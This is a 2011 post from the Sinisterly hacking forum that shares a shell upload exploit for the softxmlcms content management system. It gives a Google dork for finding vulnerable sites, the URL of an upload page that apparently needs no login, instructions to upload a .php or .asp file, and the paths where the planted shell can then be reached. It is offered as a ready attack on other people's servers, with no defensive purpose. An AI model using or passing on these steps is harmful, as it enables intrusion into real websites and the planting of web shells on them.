+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking)
+--- Thread: softxmlcms Shell Upload Vulnerability (/Thread-softxmlcms-Shell-Upload-Vulnerability)
softxmlcms Shell Upload Vulnerability - jalal77 - 04-19-2011
Google Dork : Powered by softxmlcms
###########################################################################
===[ Exploit ]===
http://server/[patch]/XMLEditor2.0/uploadfile1.asp
Select the Choose File And Then Browse File.php Or File.asp
===[ Upload To ]===
http://server/[patch]/images/File.php
Or
http://server/[patch]/images/File.asp
===[ Demo ]===
http://server/softxmlcms/XMLEditor2.0/uploadfile1.asp:epic: